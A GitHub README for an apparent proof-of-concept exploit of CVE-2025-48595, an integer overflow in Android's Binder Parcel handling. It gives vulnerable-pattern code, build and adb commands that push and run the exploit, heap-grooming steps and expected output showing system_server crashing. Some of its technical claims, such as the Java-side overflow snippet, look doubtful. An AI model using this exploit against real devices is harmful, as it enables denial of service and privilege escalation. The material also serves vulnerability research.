Skip to content

Samaruta-batto/android-security

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 

Repository files navigation

CVE-2025-48595 — Android Framework Integer Overflow PoC

Proof-of-concept demonstrating CWE-190 (Integer Overflow or Wraparound) in the Android Framework's Parcel marshalling layer, affecting Android 14, 15, and 16 (pre-June 2026 security patch).

Field Detail
CVE CVE-2025-48595
CVSS 8.4 (High)
CWE CWE-190 — Integer Overflow or Wraparound
Component Android Framework — Parcel deserialization (Java/Native layer)
Affected Android 14 (API 34), Android 15 (API 35), Android 16 (API 36)
Patch 2026-06-01 Security Patch Level
CISA KEV Yes — listed in Known Exploited Vulnerabilities catalog
In-The-Wild Yes — active exploitation detected prior to patch

Vulnerability Overview

An unprivileged application can trigger an integer overflow during Parcel marshalling/unmarshalling of Binder transaction data in the Android Framework. The vulnerability exists in multiple locations where array lengths read from a Parcel are used to compute allocation sizes via multiplication with element size (e.g., length * sizeof(int32_t)), without overflow checking.

When the multiplication wraps around in 32-bit arithmetic, an undersized heap buffer is allocated. Subsequent copy operations then write past the allocated boundary into adjacent heap memory, corrupting heap metadata or adjacent objects in system_server (which runs as UID 1000 / system).

Root Cause Pattern

// Vulnerable pattern in Android Framework (Java-side Parcel reading)
int count = parcel.readInt();           // Attacker-controlled: 0x40000001
int allocSize = count * 4;             // 0x40000001 * 4 = 0x100000004
                                       // -> truncated to 0x4 (4 bytes) in 32-bit

byte[] buf = new byte[allocSize];      // Allocates 4 bytes
parcel.readByteArray(buf);             // Reads up to 'count' bytes -> heap overflow

// Equivalent native (C++) pattern:
int32_t len;
parcel->readInt32(&len);               // len = 0x40000001
size_t alloc = (size_t)(len * sizeof(int32_t));  // overflow -> 4
void *buf = malloc(alloc);             // 4 bytes
parcel->read(buf, len * sizeof(int32_t));         // writes ~4 GB -> crash/overflow

Impact

  • DoS: Reliable system_server crash via heap corruption. Zygote respawns system_server, causing a temporary disruption of all system services.
  • LPE (theoretical): With precise heap shaping and a device-specific ROP chain, the heap corruption could be leveraged for Local Privilege Escalation from an unprivileged app (untrusted_app) to system (UID 1000) or root (UID 0). This PoC demonstrates the overflow trigger; the full LPE chain is device-specific and not included.

Attack Flow

 Unprivileged App                   Android Framework (system_server)
 ┌──────────────┐                  ┌────────────────────────────────┐
 │              │  Binder IPC      │                                │
 │  Craft Parcel│─────────────────>│  Parcel.readInt32()             │
 │  with        │                  │    count = 0x40000001          │
 │  array_len = │                  │                                │
 │  0x40000001  │                  │  alloc = count * 4             │
 │              │                  │    = 0x100000004               │
 │              │                  │    -> truncated to 0x4         │
 │              │                  │                                │
 │              │                  │  buf = new byte[4]  ← 4 bytes  │
 │              │                  │                                │
 │              │                  │  parcel.read(buf, count*4)     │
 │              │                  │    -> writes past allocation   │
 │              │                  │    -> HEAP CORRUPTION           │
 │              │                  │    -> system_server CRASH       │
 └──────────────┘                  └────────────────────────────────┘

Prerequisites

  • Android NDK r27+ (tested with r27)
  • Target: Android 14-16 device or emulator with security patch level before 2026-06-01
  • ADB access with shell permissions (adb shell)
  • No root required — the vulnerability is triggered from an unprivileged context

Build

git clone https://github.com/Samaruta-batto/android-security.git
cd android-security

aarch64 (Physical Device — Pixel 6-9, Samsung S24, etc.)

$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android36-clang \
    -z max-page-size=16384 \
    -std=c11 -Wall -Wextra -O2 \
    CVE-2025-48595_exploit.c -o CVE-2025-48595_exploit

x86_64 (Emulator)

$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/x86_64-linux-android36-clang \
    -z max-page-size=16384 \
    -std=c11 -Wall -Wextra -O2 \
    CVE-2025-48595_exploit.c -o CVE-2025-48595_exploit

Usage

# Push to device
adb push CVE-2025-48595_exploit /data/local/tmp/
adb shell chmod 755 /data/local/tmp/CVE-2025-48595_exploit

# Execute
adb shell /data/local/tmp/CVE-2025-48595_exploit

Monitor

# Watch for system_server crash
adb logcat -v time | grep -E "system_server|FATAL|CRASH|Zygote"

# Kernel-level observations
adb shell dmesg -w | grep -E "binder|oom_kill"

Expected Output (Vulnerable Device)

[*] CVE-2025-48595 Android Framework Integer Overflow PoC
[*] Target: Android 14-16 (pre-2026-06-01 security patch)
[*] CVSS 8.4 | CWE-190 | CISA KEV | In-The-Wild
[*] Running as UID=2000
[*] binder fd=3
[*] binder mmap @ 0x7f..., size=16384
[*] Resolved ActivityManagerService -> handle 1
[*] Grooming system_server heap (64 transactions)...
[*] Heap groom: 48/64 transactions sent
[*] Sending integer overflow trigger (code=10, len=0x40000001)...
[*] Overflow Parcel built: 82 bytes, array_len=0x40000001
[*] Sending overflow transaction: handle=1 code=10 data=82 bytes
[*] Transaction accepted by binder driver
[+] Transaction accepted by binder driver.
[+] If system_server crashed, the integer overflow path
[+] was triggered successfully (DoS / heap corruption).
[+] Check logcat for FATAL EXCEPTION or Zygote respawn.

In logcat, look for:

FATAL EXCEPTION in system_server
java.lang.OutOfMemoryError or native heap corruption
Zygote: Restarting system_server after crash

Expected Output (Patched Device)

The binder driver or Framework rejects the transaction. The PoC reports "transaction rejected."

PoC Architecture

Phase Description
1. Service Resolution Query servicemanager (handle 0) via CHECK_SERVICE_TRANSACTION to resolve ActivityManagerService's binder handle
2. Heap Grooming Send 64 one-way Binder transactions with valid AIDL parcels (proper interface tokens) of varying sizes to influence system_server's heap layout
3. Overflow Trigger Send a synchronous transaction containing a Parcel with array_length = 0x40000001 — when multiplied by sizeof(int32_t) (4), this wraps to 4 bytes, causing an undersized allocation followed by a heap overflow

Technical Notes

Integer Overflow Value Selection

OVERFLOW_ARRAY_LEN = 0x40000001

Verification (32-bit unsigned arithmetic):
  0x40000001 * 4 = 0x1_0000_0004
  Truncated to 32-bit: 0x0000_0004 = 4 bytes allocated
  Actual data written: up to 0x40000001 * 4 ≈ 4 GB (from Parcel iteration)

Binder Protocol Encoding

The PoC uses the correct _IO/_IOW-encoded command values for the binder write/read protocol on Android 5.x+ kernels (aarch64):

  • BC_TRANSACTION = _IOW('b', 0, struct binder_transaction_data) — not a small integer
  • BR_TRANSACTION_COMPLETE = _IO('r', 6) — correctly 0x7206 on aarch64
  • BR_REPLY = _IO('r', 3) — correctly 0x7203

Older tutorials that use BC_TRANSACTION = 0x00 target pre-mainline kernels and will not work on Android 14-16.

Parcel Wire Format

The Parcel header (dataSize, dataPosition, dataCapacity, objectsSize) is internal to the C++ Parcel class and is never transmitted over the Binder wire. Transaction data starts directly with the interface descriptor String16. A common mistake in Binder PoCs is including this internal header in the transmitted data, which causes enforceInterface() to read garbage and throw SecurityException.

Limitations

  • DoS vs. LPE: This PoC triggers heap corruption that reliably crashes system_server (DoS). A full LPE chain requires device-specific heap shaping, vtable pointer overwrite, and a ROP/shellcode payload. These are not included because they depend on the target device's heap implementation (jemalloc vs. scudo vs. dlmalloc), Android version, and vendor-specific modifications.
  • SELinux: On enforcing mode, SELinux may prevent certain post-exploitation actions, but the integer overflow itself is a Framework-layer bug that SELinux does not mitigate (the overflow occurs within system_server's own context).
  • Service handle: The servicemanager lookup scans the mmap area for a flat_binder_object pattern. On some devices, the handle may not be found this way, in which case the PoC falls back to handle 16 (the typical AMS handle on AOSP builds).

Changelog

v3 (current)

  • Fixed: PROT_READ -> PROT_READ | PROT_WRITE on binder mmap (v2 SIGSEGV bug)
  • Fixed: BC_* command values now use _IOW/_IO macros (were hardcoded small integers)
  • Fixed: BR_* return values now use _IO macros (BR_NOOP was 0x7201, should be 0x720c; BR_FAILED_REPLY was 0x7212, should be 0x7211)
  • Fixed: Removed 24-byte Parcel header from transmitted data (was causing SecurityException in enforceInterface())
  • Fixed: BR_ reply parsing now skips binder_transaction_data payload after BR_REPLY
  • Fixed: Heap grooming now sends valid AIDL parcels with proper interface tokens
  • Fixed: Service resolution attempts proper servicemanager protocol (was hardcoded to handle 16)
  • Removed: Dead forward declarations (log_hex, parse_reply_for_handle)
  • Removed: Fake LPE chain (escalate() function) — honestly documented as DoS/heap corruption PoC

v2

  • Initial integer overflow framing (CVSS 8.4, CWE-190)
  • BR_* values documented as _IO-encoded
  • Multiple critical issues (see v3 changelog)

v1

  • Original PoC (incorrect vulnerability classification)

Disclaimer

This proof-of-concept is developed strictly for authorized security research and penetration testing on devices you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.

Author

Samartha Bhatt — Security Engineer | Mobile Forensics | Kernel Exploitation

License

This project is provided for educational and authorized research purposes only. See LICENSE for details.

About

No description, website, or topics provided.

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages